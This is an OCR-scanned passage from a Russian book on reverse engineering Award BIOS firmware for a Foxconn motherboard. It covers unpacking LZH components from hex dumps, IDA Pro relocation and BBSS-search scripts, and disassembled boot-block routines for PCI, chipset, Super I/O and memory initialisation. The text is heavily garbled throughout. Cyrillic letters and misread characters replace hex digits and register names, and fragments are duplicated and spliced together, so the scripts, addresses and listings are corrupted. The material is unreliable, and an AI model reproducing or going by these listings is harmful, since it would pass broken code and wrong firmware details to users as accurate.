^Р®с Шестнадцатеричш °°°4F1ao 66DF 6FB7 DB2D °°°4Р1В0 А4А4 А026 328А °°°4р1С0 ОАЗА ЗАЗВ 59АС®4plD0 ОOFF FFFF FFFF ^4р1Е0 FFFF FFFF FFFF^Р®с Шестнадцатеричш °°°4F1ao 66DF 6FB7 DB2D °°°4Р1В0 А4А4 А026 328А °°°4р1С0 ОАЗА ЗАЗВ 59АС®4plD0 ОOFF FFFF FFFF ^4р1Е0 FFFF FFFF FFFFre значения9B55 B368 B64B 4В4В 2925 2525 АЕ5В 1830 D66A F57A BD56 АВ54 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFFre значения9B55 B368 B64B 4В4В 2925 2525 АЕ5В 1830 D66A F57A BD56 АВ54 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFFКод ASCII0054 f.o..-.U.h.KKK.T 6021 ..,&2.)%%%.[.0'! 04A0 . -. : ;Y. . j .z.V.T. .FFFF FFFF Код ASCII0054 f.o..-.U.h.KKK.T 6021 ..,&2.)%%%.[.0'! 04A0 . -. : ;Y. . j .z.V.T. .FFFF FFFF
^Р®с Шестнадцатеричш °°°4F1ao 66DF 6FB7 DB2D °°°4Р1В0 А4А4 А026 328А °°°4р1С0 ОАЗА ЗАЗВ 59АС
®4plD0 ОOFF FFFF FFFF ^4р1Е0 FFFF FFFF FFFF
^Р®с Шестнадцатеричш °°°4F1ao 66DF 6FB7 DB2D °°°4Р1В0 А4А4 А026 328А °°°4р1С0 ОАЗА ЗАЗВ 59АС
®4plD0 ОOFF FFFF FFFF ^4р1Е0 FFFF FFFF FFFF
re значения
9B55 B368 B64B 4В4В 2925 2525 АЕ5В 1830 D66A F57A BD56 АВ54 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
re значения
9B55 B368 B64B 4В4В 2925 2525 АЕ5В 1830 D66A F57A BD56 АВ54 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF
Код ASCII
0054 f.o..-.U.h.KKK.T 6021 ..,&2.)%%%.[.0'! 04A0 . -. : ;Y. . j .z.V.T. .
FFFF
FFFF
Код ASCII
0054 f.o..-.U.h.KKK.T 6021 ..,&2.)%%%.[.0'! 04A0 . -. : ;Y. . j .z.V.T. .
FFFF
FFFF
Упакованные компоненты можно легко распаковать, скопировав их в пустой двоичный файл. Для этой цели подойдет любой шестнадцатеричный редак. тор, например, Hex Workshop. Затем, создав новый файл, распакуйте его с помощью утилит LHA 2.55 или WinZip. Если вы предпочитаете пользоваться WinZip, присвойте новому файлу расширение .lzh, чтобы он автоматически ассоциировался с приложением WinZip. Определить начало и конец вырезаемого фрагмента, который должен использоваться для создания нового файла, не составляет никакого труда. Пользуясь шестнадцатеричным редактором, ищите в коде строку -1Н5-. Началом нового файла, предназначенного для распаковки, будут два байта, предшествующие строке -1Н5-, а значение последнего байта файла всегда будет о он. При этом значение маркера конца файла должно непосредственно предшествовать началу следующего упакованного модуля (как уже говорилось, начало упакованного модуля обозначается маркером -1Ь5-), участка, содержащего байты-заполнители, или контрольной сумме. В качестве примера, рассмотрим начало и конец упакованного файла awardextrom Foxconn BIOS. Листинг 5.3 показывает шестнадцатеричный дамп этого файла. Начало упакованного файла — это байты, выделенные подчеркиванием, а байты, выделенные двойным подчеркиванием, обозначают конец файла.
00014DE0
6СЕ0
C1F9
041В
сооо
Е725
1E2D
6С68
352D
1
..%.-lh5-
00014DF0
ЕС94
0000
40DC
0000
0000
7F40
2001
0С61
....@..
... .0 . .а
00014Е00
7761
7264
6578
742Е
726F
6D2C
0В20
0000
wardext
.rom,. ..
00014Е10
2CD0
8EF7
7ЕЕВ
1253
5EFF
7DE7
39СС
сссс
,...—..
s^a.g...
0001E2F0
ADAB
0F89
А8В5
D0FA
84ЕВ
46В2
0024
232D
..-F..$#-
0001Е300
6С68
352D
0D1B
0000
FC47
0000
0000
0340
Ih5-...
. .G0
0001Е310
2001
0В41
4350
4954
424С
2Е42
494Е
F3CD
..ACPITBL.BIN..
Листинг 5.3. Пример заголовка упакованного компонента Award BIOS
Адрес Шестнадцатеричные значения
Код ASCII
В листинге 5.3 первый байт перед началом упакованного файла awardextrom не является маркером конца предыдущего файла, т. е. это не ООН, хотя предыдущий файл также упакован. Упакованный компонент, предшествующий файлу awardextrom, является упакованной системно11 BIOS, и байт Е7, выделенный полужирным курсивом, хранит контрольную
суммУ этого файла, которая для этого типа компонента всегда следует по- сде метки конца файла. Другие упакованные компоненты всегда оканчивается меткой конца файла, т. е. байтом о он, без последующего байта контрольной суммы.
Перейдем к чисто двоичному компоненту BIOS Foxconn. Этот чисто двоич- |й компонент расположен по следующим адресам:
б A9C0h-6_BFFEh: Эта область содержит движок распаковщика LZH.
7 E000h-7_FFFFh: Эта область содержит код блока начальной загрузки.
Двоичные компоненты разделены заполнителями. Некоторые байты-заполнители имеют значение FFh, а некоторые - о он.
.1.2. Дизассемблирование блока начальной загрузки Award BIOS
В этом разделе рассматривается техника дизассемблирования кода блока начальной загрузки. Код блока начальной загрузки является ключевым для понимания BIOS материнской платы. Понимание приемов, применяемых для дизассемблирования кода начальной загрузки, очень важно, так как рассматриваемые приемы применимы к BIOS от разных производителей. Материал, представленный в последующих разделах этой главы, посвящен дизассемблированию кода блока начальной загрузки BIOS разных производителей.
Начнем с рассмотрения некоторых малоизвестных и важных областей кода BIOS, дизассемблировав блок начальной загрузки BIOS материнской платы Foxconn 955X7AA-8EKRS2, выпущенной 11 ноября 2005 г. Основная инфор
мация о том, как дизассемблировать файл BIOS в IDA Pro, была приведена ^разд. 2.3. Поэтому здесь я приведу лишь краткое описание этого процесса. Откройте 512-килобайтный файл в IDA Pro и установите начальный адрес Сгрузки в 8_ooooh-F_FFFFh. Затем создайте новые сегменты в диапазоне ад-
Ресов oFFF8_ooooh-FFFD_FFFFh и переместите содержимое блока 8_ооооь- OFFFh в только что созданный сегмент. Эта операция необходима для того, ^тобы имитировать отображение BIOS на системное адресное пространство, этой цели можно использовать сценарий IDA Pro, приведенный в лисТИнге 5.4. Этот сценарий следует исполнять прямо в окне сценариев IDA Pro, ^я Вь,зова которого достаточно воспользоваться клавиатурной комбинацией utt>+<F2>. Добавив в этот сценарий директивы include, его можно претить в самостоятельный сценарий и сохранить в ASCII-файл, как было °казано в главе 2.
Листин-" 5.4, Сценарий IDA Pro для перемещения блока н чальной загрузг Award BIOS с целью имитации отображения кода BIOS на системное адресное пространство
auto еа, ea_src, ea_dest;
/* Создаем сегменты для двоичного файла, загруженного в данный момент. */ for(ea = 0x80000; еа < 0x100000; еа = еа + 0x10000) { SegCreate(ea, еа + 0x10000, еа»4, 0, 0, 0);
}
/* Создаем новые сегменты для перемещения */
for(ea = OxFFFSOOOO; еа < OxFFFEOOOO; еа = еа + 0x10000)
{
SegCreate(ea, еа + 0x10000, еа»4, 0, 0, 0) ;
}
/* Перемещаем сегменты. */
ea_src = 0x80000;
for(ea_dest = OxFFFSOOOO; ea_dest < OxFFFEOOOO; ea_dest = ea_dest + 4) {
PatchDword(ea_dest, Dword(ea_src));
ea_src = ea_src + 4;
}
/* Удаляем ненужные сегменты, чтобы имитировать системное пространство адресов. */ for(ea = 0x80000; еа < ОхЕОООО; еа = еа + 0x10000) {
SegDelete(еа, 1);
}.
Обратите внимание, что в 64-битной версии IDA Pro код Award BIOS для материнской платы Foxconn можно сразу же загрузить в диапазон адресов FFF8_0000h-FFFF_FFFFh И Копировать ТОЛЬКО СеГМеНТЫ E_seg И F_seg В облаСТЬ совместимости BIOS (диапазон адресов E_ooooh-F_FFFFh).
После того как необходимый сегмент будет перемещен, начните дизассемо лирование по адресу F000:FFF0h, т. е. по вектору сброса (reset vector). Д^ краткости, я не привожу здесь дизассемблированный листинг всего сегмен1^* а ограничиваюсь рассмотрением дизассемблированных листингов наиболее сложных и неоднозначных фрагментов кода начальной загрузки, с пониМ9
^ которых у вас могут возникнуть трудности. Кроме того, будет представлен и дизассемблированный листинг кода, ответственного за вывод под-
сказок.
Вспомогательная подпрограмма кода начальной загрузки
Дизассемблированный листинг вспомогательной процедуры конфигурирования PCI представлен в листинге 5.5.
Листинг 5.5. Дизассемблированный код вспомогательной подпрограммы _ я конфигурирования PCI
FOOO:F77O
read_pci_byte proc near
F000:F77O
mov
ax, 8000h
F000:F773
shl
eax, lOh
F000:F777
mov
ax, ex
F000:F779
and
al, OFCh
F000:F77B
mov
dx, 0CF8h
; dx = порт адреса конфигурационного
; пространства PCI
F000:F77E
out
dx, eax
FC00:F780
add
dl, 4
; dx = порт данных конфигурационного
; пространства PCI
F000:F783
mov
al, cl
F000:F785
and
al, 3
F000:F787
add
dl, al
F000:F789
in
al, dx
; Читаем значения соответствующих регистров
F000:F78A
retn
F000:F78A
read_pci_byte endp
F000:F78C
write_pci_byte proc near
F000:F78C
xchg
ax, ex
F000:F78D
shl
ecx, lOh
F000:F79L
xchg
ax, ex
F000;F792
mov
ax, 8000h
F000:F795
shl
eax, lOh
FC00;F799
mov
ax, ex
P°°°:F79B
and
al, OFCh
F°°0:F79d
mov
dx, 0CF8h
; dx = порт адреса конфигурационного
; пространства PCI
^°0:F7AO
out
dx, eax
•3°0:F7a2
add
dl, 4
; dx = порт данных конфигурационного
; пространства PCI
F000:F7A5
FOOO:F7A7
FOOO:F7A9
moval,cl
andal,3
adddl,al
FOOO:F7AB
F000.-F7AE
F000:F7B2
moveax, ecx
shreax, lOh
out dx, al; Записываем значение в регистр
F000:F7B3
retn
F000:F7B3 write_pci_byte endp
Подпрограмма начальной инициализации чипсета
Подпрограмма, обсуждаемая в данном подразделе, инициализирует отображенный на память блок регистров RCRB (root complex register block — блок регистров корневого комплекса), используемый различными функциями и устройствами чипсета PCI Express. Эти процедуры имеют большое значение, так как они указывают диапазоны адресов, используемые регистрами чипсета. Таким образом, можно определить, является ли определенная транзакция чтения или записи в какой-либо диапазон адресов транзакцией расширенного конфигурирования PCI Express. Дизассемблированный код процедуры ранней инициализации чипсета приведен в листинге 5.6. В этом листинге используются следующие сокращения:
PCI EX —PCI Express.
Аббревиатура bxx:Dxx: fxx задает шину, устройство и его функцию. Здесь вхх описывает шину, Dxx — задает устройство на этой шине, a Fxx — указывает функцию. Так как шина PCI Express обеспечивает обратную совместимость с шиной PCI, это обозначение применимо к этим обеим шинам.
BAR — регистр базового адреса.
Ctrl — контроллер.
Листинг 5,6. Дизассемблированный код подпрограммы начальной инициализации чипсета
F000:F600 chipset_early_init proc near
F000:F600 shl esp, lOh
F000:F604 mov si, 0F6D8h
F000:F607 next_reg:
F000:F607 mov ex, CS:[si]
F000:F60A mov sp, OFGlOh
F000:F60D jmp read_pci_byte
F000:F60D ;
тава 5. Реализация BIOS материнской платы
143
FOOO:F610 f000:F612 ;
F000:F612
F000:F616 fq00:F61A
F000:F61D
F000:F6W ;
F000:F620
FOOO:F622 ;
F000:F622
F000:F625
F000:F629
F000:F62B
FOOO:F62E
F000:F631
F000.-F631 ;
F000:F634
F000:F636 ;
F000:F636
F000:F63C
F000:F63E
F000:F641
F000:F644
F000:F644 ;
F000:F647
F000:F649 ;
F000:F649
F000:F64A
F000:F64C
F000:F64D f°00:F650 f°00:F653 f°00:F653 ;
dw 0F612h
and or mov jnp
al, cs:[si + 2] al, cs:[si + 3] sp, 0F620h write_pci_byte
dw 0F622h
add
сир jnz mov
mov jnp
si, 4
si, 0F744h short next_reg ex, 0F8F0h
sp, 0F634h read_pci_byte
; базовый адрес памяти корневого ; комплекса для B0:D31
dw 0F636h
mov
out mov mov jnp
eax, OFEDICOOlh
dx, eax
ex, 48h ; 'H' sp, 0F647h read_pci_byte
; базовый адрес памяти корневого
; комплекса ICH7 = F000:F636
; 0xFEDl_C000
; PCI EX BAR для BO:DO
dw 0F649h
in or
out mov mov jnp
al, dx
al, 1
dx, al
ex, 40h ; '@' sp, 0F656h read_pci_byte
; Разрешаем декодирование адресов PCI EX.
; BAR порта вывода.
F°00:F656
P°°0:F658 ■
dw 0F658h
P°°0:F658
P°°0:F65E
mov
out
eax, 0FED19001h
dx, eax
; Базовый адрес памяти порта
; вывода HostBridge = F000:F658
; = 0xFEDl_9000
POOO:F66O F000:F663
F000:F666
F000:F666
FOOO:F669 FOOO:F66B , F000:F66B
F000:F671
F000:F673
F000:F676
F000:F679
F000:F679 ;
F000:F67C
F000:F67E ;
F000:F67E
F000:F680
F000:F682
F000:F685
F000:F685 ;
F000:F688
F000:F68A ;
F000:F68A
F000:F68D
F000:F691
F000:F694
FD00:F696
F000:F699
F000:F69B
F000:F69E
F000:F6A0
FOOD:F6A0 F000:F6A3
F000:F6A6 ;
FOOO:F6A6
F000:F6A9
F000:F6AB
F000:F6AE
F000:F6B0
F000:F6B4
F000:F6B5
mov mov jnp
ex, 4Ch ; 'L';
sp, 0F669h read_pci_byte
BAR порта DMI
dw 0F66Bh
mov
out mov mov jnp
eax, 0FED18001h;
dx, eax
ex, 8ECh sp, 0F67Ch read_pci_byte
базовый адрес памяти корневого комплекса = F000:F66B 0xFEDl_8000
dw 0F67Eh
and or mov jnp
al, 0F8h
al, 1 sp, 0F688h
wr i te_pci_byte
dw 0F68Ah
mov si, 54Fh Igdt qword ptr es:[si] mov eax, crO or al, 1 mov crO, eax jnp short $+2 movax, lOh
moves, ax
assume es:nothing mov bx, 0F6A6h
jnp init_MCH_ICH7_PCI_ex_regs
mov and
mov jnp shr clc re tn
eax, crO al, OFEh crO, eax short $+2 esp, lOh
F000:F6B5 chipset_early_init endp
F000:F6D8
Begin_Chipset_Cfg
fq00:F6E0
dw
0FB20h
; D31:F3 - SMBus Ctlr
F000:F6E2
db
0
; маска И
F000:F6E3
db
0
; маска ИЛИ
fq00:F6E4
dw
0FB21h
; D31:F3 - SMBus ctlr
F000:F6E6
db
0
; маска И
F000:F6E7
db
5
; база SMBus по адресу 500h
fOOO:F6E8
dw
0FB40h
; D31:F3 - SMBus ctlr
F000:F6EA
db
0
; маска ИЛИ
F000:F6EB
db
1
; Разрешаем хост SMBus
FOOO:F6EC
dw
0FB04h
; D31:F3 - SMBus Ctlr
F000:F6EE
db
0
; маска И
FOOO:F6EF
db
3
; маска ИЛИ
FOOO:F6FO
dw
0F841h
; D31:F0 - мост LPC
FOOO:F6F2
db
0
; маска И
F000:F6F3
db
4
; база ACPI I/O по адресу
400h
FOOO:F6F4
dw
0F844h
; D31:F0 — мост LPC
F000:F6F6
db
0
; маска И
F000:F6F7
db
80h
; разрешаем ACPI
FOOO:F6F8
dw
0F848h
; D31:F0 - мост LPC
F000:F6FA
db
0
; маска И
F000:F6FB
db
80h
; база GPIO I/O по адресу
80h
Глава,Глава,5. Реализация BIOS материнской платы5. Реализация BIOS материнской платы145145
Глава,
Глава,
5. Реализация BIOS материнской платы
5. Реализация BIOS материнской платы
145
145
F000:F743 End_Chipset_Cfg
Подпрограмма инициализации чипа Super I/O
Подпрограмма, приведенная в листинге 5.7, конфигурирует чип Super I/O при помощи интерфейса LPC в хабе ICH7. Возможно, с первого взгляда это не совсем очевидно. Дополнительную информацию по этому вопросу можно найти в технической документации по хабу ICH 7 разделе 6.3.1, "Фиксированные диапазоны адресов". В таблице 6.2 данной спецификации упоминается использование адреса ввода-вывода 2еь, который является адресом LPC Super I/O (LPCSIO).
Листинг 5.7. Дизассемблированный код подпрограммы инициализации Super I/O
-Е1С0Begin SuperIO configuration values
^°°O:E1COdw 0C424h;
^°°O:E1C2dw 29h;
OO°:E1C4dw 7C2Ah;
146
Часть II. Обратная разработка BIOS материнской платы
FOOO:E1C6
dw 0C02Bh
FOOO:E1C8
dw 12Dh;
FOOO:E1CA
dw 7;
FOOO:E1CC
dw 130h;
FOOO:E1CE
dw OEFOh;
FOOO:E1DO
dw 107h;
FOOO:E1D2
dw 130h;
FOOO:E1D4
dw 507h;
FOOO:E1D6
dw 130h;
FOOO:E1D8
dw 6Oh;
FOOO:E1DA
dw 6061h;
FOOO:E1DC
dw 62h;
FOOD:EIDE
dw 6463h
FOOO:E1EO
dw 170h
FOOO:E1E2
dw 0C72h
FOOO:E1E4
dw 80F0h;
FOOO:E1E6
dw 707h;
FOOO:E1E8
dw 130h;
FOOO:E1EA
dw 6Oh;
FOOO:E1EC
dw 61h;
FOOO:E1EE
dw 62h;
FOOO:E1FO
dw 63h;
FOOO:E1F2
dw 7Oh;
FOOO:E1F4
dw 807h;
FOOO:E1F6
dw 907h;
F000.-E1F8
dw 130h;
FOOO:E1FA
dw 860h;
FOOO:E1FC
dw 61h;
FOOO:E1FE
dw 40F3h;
F000:E200
dw 0FFF4h;
F000:E202
dw 0F5h;
F000:E204
dw 0F6h;
F000:E206
dw 0B07h;
F000:E208
dw 130h;
F000:E20A
dw 260h;
F000:E20C
dw 9061h;
F000:E20C
End SuperlO configuration values
F000:E20E
Init_Super_IO:
F000:E20E
mov ex, lOh
F000:E211
repeat:
F000:E211
out OEBh, al
F000:E213
loop repeat
^айа 5. Реализация BIOS материнской платы
147
FqOO:E215movdx,2Eh;' . '; Вход в режим конфигурации
р000:Е215: чипа Super I/O.
о000:Е218moval,87h;'<?'
F0C0:E21Aoutdx,al
f000:E21Bnop
f000:E21Cnop
f000:E21Doutdx,al
fOoO:E21Emovsi,OElCOh
F000:E221movex,27h ;' ''
fOOO:E224 next_SuperIO_cfg_val:
fOOO:E224movax,cs:[si]
F000:E227movdx,2Eh ;' .'
F000:E22Aoutdx,al
F000:E22BoutOEBh,al
F000:E22Dxchgah,al
F000:E22Fincdx
P0C0:E23Ooutdx, al
F000:E231addsi, 2
F000:E234outOEBh,al
F000:E236loopnext_SuperIO_cfg_val
F000:E238movdx,2Eh;' . '
F000:E23Bmoval,OAAh;' i'
F000:E23Dout dx, al; Выходим из режим конфигурации
F000:E23D; чипа Super I/O.
F000:E23E jmp init_Super_IO_done
Переход к значениям CMOS и инициализация памяти
Дизассемблированный код процедуры инициализации значений CMOS и инициализации памяти приведен в листинге 5.8.
Листинг 5.8. Дизассемблированный код процедуры инициализации значений CMOS и инициализация памяти
f°00:E1A8continue:FO°O:E1A8moval,OCOh?°00:E1aaout80h,. al;^OOtEIacmovsp,OElBOh^00:E1af?0°°:E1afretn?0°0:E1BOdw 0E242hf°00:E1A8continue:FO°O:E1A8moval,OCOh?°00:E1aaout80h,. al;^OOtEIacmovsp,OElBOh^00:E1af?0°°:E1afretn?0°0:E1BOdw 0E242hВектор возврата.Вектор возврата.Выводим диагностическое сообщениеВыводим диагностическое сообщение
f°00:E1A8
continue:
FO°O:E1A8
mov
al,
OCOh
?°00:E1aa
out
80h,
. al;
^OOtEIac
mov
sp,
OElBOh
^00:E1af
?0°°:E1af
retn
?0°0:E1BO
dw 0E242h
f°00:E1A8
continue:
FO°O:E1A8
mov
al,
OCOh
?°00:E1aa
out
80h,
. al;
^OOtEIac
mov
sp,
OElBOh
^00:E1af
?0°°:E1af
retn
?0°0:E1BO
dw 0E242h
Вектор возврата.
Вектор возврата.
Выводим диагностическое сообщение
Выводим диагностическое сообщение
F000:E242
mov sp, 0E248h
F000:E245
jmp is_stepping_611?
F000:E245 ;
.
F000:E248
dw 0E24Ah
F000:E24A
F000:E24A
mov al, 0B3h
F000:E24C
mov ah, al
F000:E24E
mov sp, 0E254h
F000:E251
jmpRead—CMOS_Byte
Процедуры поиска сигнатуры BBSS и начального тестирования памяти
Эти процедуры выглядят довольно странно. Из исходных кодов Award BIOS, которые просочились в Интернет в 2002 году, видно, что строка BBSS — это сокращение от "boot block structure signature" — сигнатура структуры загрузочной области. Эти процедуры инициализируют область DRAM и другие устройства, необходимые для исполнения BIOS. Дизассемблированный код процедур поиска BBSS и начального тестирования памяти приведен в листинге 5.9.
Листинг 5.9. Дизассемблированный код процедур поиска сигнатуры BBSS и начального тестирования памяти
F000:E311 F000:E314 F000:E314 F000:E317 F000:E319 F000:E319 F000:E31B F000:E31D F000:E320 F000:E323 F000:E325 F000:E328 F000:E328 F000:E32A F000:E32C F000:E32C F000:E32C F000:E32E
mov jmp
sp, 0E317h
_search—BBSS
dw 0E319h
or jz
mov
cnp jz
mov jmp
si, si short BBSS_not_ ax, [si+19h] ax, OFFFFh short BBSS_not_ sp, 0E32Ah ax
.found
.found
dw 0E32Ch
BBSS—not_found: moval, OClh
out80h, al
; Выводим диагностическое сообщение
f000:E330
mov
sp, 0E336h
fqqO:ЕЗЗЗ ?000:E333 ; c000:E336
jmp
_search_BBSS
dw 0E338h
f000:E338 ; ?000:Е338 р000:ЕЗЗА f000:E33C
or jz
mov
si, si
short no_valid_BBSS ax, [si]
f000:E33E
mov
bx, ax
F000:E340
ror
ax, 4
f000:E343
mov
ds, ax
f000:E345
assume ds:nothing
F000:E345
mov
sp, 0E34Bh
F000:E348
F000:E348 ;
jmp
sub_F000_F7D0
F000:E34B
dw 0E34Dh
F000:E34D ;
jz
short exec_BBSS
F000:E34D
F000:E34F
mov
ecx, 26Eh
F000:E355
mov
eax, 5050505h
F000:E35B
mov
edx, eax
F000-.E35E
wrmsr
F000:E360
inc
cl
F000:E362
wrmsr
F000:E364
mov
eax, OCOOh
F000:E36A
mov
ecx, 2FFh
F000:E370
xor
edx, edx
F000:E373
wrmsr
F000:E375
wbinvd
F000:E377
mov
eax, cr3
F000:E37A
mov
cr3, eax
p000:E37D
mov
eax, crO
F°00:E380
and
eax, 9FFFFFFFh
F°00:E386
р000:Й89
mov crO, eax wbinvd
P0°0:E38B P°00:E38D
Р^00:E391 P°00:E392 ?0°0:E394 r°°0:E394 '^0:E397 ^0:E397
xor mov dec xor db mov db
mov
ah, ah ex, ds:0Ah ex si, si 2Eh ax, ax 2 Eh ax, ax
150
Часть II. Обратная разработка BIOS материнской платы
F000:E39A
db 2Eh
F000:E39A
mov ax, ax
F000:E39D
db 2Eh
F000:E39D
mov ax, ax
F000:E3A0
next_lower_byte:
F000:E3A0
lodsb
FOOO:E3A1
add ah, al
F000:E3A3
loop next_lower_byte
F000:E3A5
cnp ah, [si]
F000:E3A7
jnz short no_valid_BBSS
F000:E3A9
exec_BBSS:
F000:E3A9
mov sp, 0E3B0h
F000:E3AC
jmp dword ptr ds:2; движок "голой" памяти по Е600:458
F000:E3AC
F000:E3B0
dw 0E3BCh
F000:E3BC
mov ax, 0
F000:E3BF
mov ds, ax
FOOO:E3C1
assume ds:nothing
F000:E3Cl
mov word ptr ds:472h, 0
F000:E3C7
mov al, 8Fh
F000:E5A7
_search_BBSS proc near
F000:E5A7
mov ax, cs
F000:E5A9
mov es, ax
F000:E5AB
assume es:F000
F000:E5AB
mov ax, OEOOOh
F000:E5AE
mov ds, ax
F000:E5B0
assume ds:EO00
F000:E5B0
mov ax, OFFFOh
F000:E5B3
cld
F000:E5B4
next_lower_bytes:
F000:E5B4
mov si, ax
F000:E5B6
lea di, ds:0E045h
F000:E5BA
mov ex, 6
F000:E5BD
repe crrpsb
F000:E5BF
jzshort exit
F000:E5Cl
sub ax, lOh
F000:E5C4
jnz short next_lower_bytes
F000-.E5C6
xor si, si
F000:E5C8
exit:
F000:E5C8
retn
F000:E5C8
_search_BBSS endp
иля поиска 'движка Листинге 5.10.иля поиска 'движка Листинге 5.10.BBSS можно использовать сценарий, приведенный
иля поиска 'движка Листинге 5.10.
иля поиска 'движка Листинге 5.10.
нг 5.10. Сценарий IDA Pro для поиска строки BBSS
include <idc.idc>
static main (void)
'auto ea, si, ds ;
ea = OxEFFFO;
fort ; ea > OxEOOOO ; ea = ea - 0x10 ) (
if(Dword(ea) == 'SBB*') (
Message("BBSS находится по адресу 0x%X\n", ea); si = (ea & OxFFFF) + 6;
1
Message ("По выходу, si = 0x%X\n", si );
Message ("[ si + 19] = 0x%X\n", Word(0xE0000 + si + 0x19) );
ds = (Word(0xE0000 +. si) » 4) | (OxFFFF &(Word(OxEOOOO + si) « 12));
Message ("Поиск BBSS — 2й проход\n“);
Message ("ds = 0x%X\n", ds);
Message ("Вход в подпрограмму BBSS: 0x%X\n”, Dword((ds « 4) + 2) );
Message ("Поиск BBSS - Зй проход\n" );
Message ("[si + OxE] = 0x%X\n", Word (OxEOOOO + si + OxE) ) ;
результате исполнения сценария, в панели сообщений главного окна IDA г° выводится соответствующее сообщение (листинг 5.11).
'^ нг 5.11. Протокол исполнения сценария IDA Pro, приведенного в листинге 5.10
filing file 'D:\Reverse_Engineering_Project\Foxconn_955X7AA- i^S2\idc_sCripts\bbss.idcl...
"•^ting function 'main' ...
'3a,i 1387
BBSS находится по адресу 0хЕВ530 По выходу, si = 0хВ53б [si+19] = OxFFFF Поиск BBSS - 2й проход ds = ОхЕбОО
Вход в подпрограмму BBSS: 0хЕб000458
Поиск BBSS - Зй проход [si+OxE] = 0xB0F4
На основе полученных результатов осуществляется переход к настоящему адресу "движка" BBSS. В листинге 5.12 приведен дизассемблированный код процедуры BBSS.
Листинг 5.12. Дизассе, блированный код процедуры BBSS
ЕбОО:0458
BBSS_:
Е6ОО:О458
mov
ax, cs
Еб00:045А
mov
ss, ax
Е6ОО:О45С
assume
ss:BBSS
Еб00:045С
mov
bx, sp
Еб00:045Е
movd
mm2, esp
ЕбОО:0461
mov
ax, fs
Еб00:04бЗ
ror
eax, lOh
ЕбОО:0467
mov
ax, gs
ЕбОО:0469
movd
mml, eax
Еб00:04бС
xor
al, al
Е6ОО:О46Е
mov
dx, 4D0h
ЕбОО:0471
out
dx, al
Еб00:0472
inc
dl
Еб00:0474
out
dx, al
Е600:0475
mov
eax, cr4
Еб00:0478
or
eax, 200h
Еб00:047Е
mov
cr4, eax
Е600:0481
jmp
bbss_l
ЕбОО:4898
bbss_l:
ЕбОО:4898
mov
si, 4870h
ЕбОО:489В
mov
dh, 4
Еб00:48В2
jnz
short loc_E600_489D
ЕбОО:48В4
jmp
bbss_2
^ава 5. Реализация BIOS материнской платы
ВбОО:0484
bbss_2:
б600:0484
mov
dx, 500h
Вб00:0487
mov
al, 5Eh ; 'л’
е600:04В5
mov
dx, 500h
ЕбОО:О4В8
in
al, dx
Вб00:04В9
test
al, 1
ВбОО:О4ВВ
jz
short dont_halt
E600:04BD
loop
loc_E600_49F
E600:04BF
mov
dx, 0CF9h
Е600:04С2
mov
al, OAh
е600:04С4
out
dx, al
Вб0О:О4С5
jcxz
short $+2
Е600:04С7
or
al, OEh
Вб00:04С9
out
dx, al
Е600:04СА
halt;
Е600:04СА
hit
Е600:04СВ
jnp
short halt
f
E600:04CD
dont_halt:
E600:04CD
mov
al, 5Eh ; ,AI
E600:04CF
out
dx, al
E600:04D0
jmp
bbss_3
E600:4903
bbss_3:
E600:4903
mov
ex, 0F8A4h
2600:4906
mov
sp, 490Ch
2600:4909
jnp
sub_E600_179
2600:4909
2600:4900
dw
490Eh
2600:499F
jnp
bbss_4
"6OO:O4D3
bbss_4:
^00:0403
mov
dx, 400h
E600:Q4D6
in
ax, dx
EbOO:0407
out
dx, ax
E6°0:0590
jnp
bbss_5
a500.-1044
bbss_5:
£500:1044
mov
al, OAOh
; Выводим диагностическое сообщение
Еб00:104б
Еб00:1048
out
xor
80h, al ebp, ebp
Е6ОО:О593
exit:
Еб00:0593
mov
sp, 5A2h
ЕбОО:0596
pslldq
xmm4, 2
Е600:059В
pinsrw
xmm4, esp, 0
Еб00:05А0
jnp
short loc_E600_5D0
Еб00:05А2
mov
eax, cr4
Еб00:05А5
and
eax, OFFFFFDFFh
Е6ОО:О5АВ
mov
cr4, eax
Еб00:05АЕ
mov
di, 5B4h
Еб00:05В1
jmp
sub_E600_44A
Еб00:05В4
mov
ax, OFOOOh
Е600:05В7
mov
ss, ax
Еб00:05В9
assume
SS:F000
Еб00:05В9
movd
eax, mml
Еб00:05ВС
mov
gs, ax
Е6ОО:О5ВЕ
ror
eax, lOh
Еб00:05С2
mov
fs, ax
Еб00:05С4
movd
esp, mm2
Еб00:05С7
and
esp, OFFFFh
Еб00:05СЕ
clc
E600:05CF
retf
; Возвращаемся обратно к области
; начальной загрузки по F000:E3BCh.
Копирование и исполнение кода блока начальной загрузки в RAM
Дизассемблированный код процедуры, ответственной за копирование кода блока начальной загрузки в RAM и его исполнение оттуда, приведен в листинге 5.13.
Листинг 5.13. Процедура для копирования и исполнения кода начальной загрузки в RAM
F000:E478
mov
ax, cs
F000:E47A
mov
ds, ax
F000:E47C
assume
ds:FOOD
F000:E47C
Igdt
qword ptr word_F000_FC10
F000:E481
mov
eax, crO
Слава 5. Реализация В/OS материнской платы
f000:E484
or
al, 1
с000:Е48б
mov
crO, eax
р000:Е489
jmp
short $+2
F000:E48B
mov
ax, 8
f000:E48E
mov
ds, ax
F000:E490
assume
ds:s'eg012
f000:E49O
mov
es, ax
F000:E492
assume
es:seg012
F000:E492
mov
esi, OFOOOOh
F000:E498
crop
dword ptr [esi + 0FFF5h], 'BRM*1
F000:E4A4
jz
short low_BIOS_addr
; Совпадение после первого прохода
F000:E4A6
or esi, OFFFOOOOOh
F000:E4AD
low_BIOS.
_addr:
F000:E4AD
mov
ebx, esi
FOOO:E4B0
sub
esi, lOOOOh
F000:E4B7
mov
edi, lOOOOh
F000:E4BD
mov
ecx, 8000h
F000:E4C3
rep movs dword ptr es: [ edi ],
dword ptr [esi]
F000:E4C3
; Копируем сегменты E_seg-F_seg
F000:E4C3
; в сегменты seg_1000h-seg_2000h.
F000:E4C7
mov
esi, ebx
F000:E4CA
sub
esi, lOOOOh
FOOO:E4D1
mov
edi, 180000h
F000:E4D7
mov
ecx, 8000h
F000:E4DD
rep movs dword ptr es:[edi],
dword ptr [esi]
FOOO:E4DD
; Копируем ; сегменты E_seg-F_seg
F000:E4DD
; в сегменты 18_0000h-19_FFFFh.
?000:E4El
mov
eax, crO
F000:E4E4
and
al, OFEh
p000:E4E6
mov
crO, eax
p000:E4E9
jnp
short $+2
F°00:E4EB
jmp
far ptr boot_block_in.
_RAM
200Q:E4fO
boot_block in RAM:
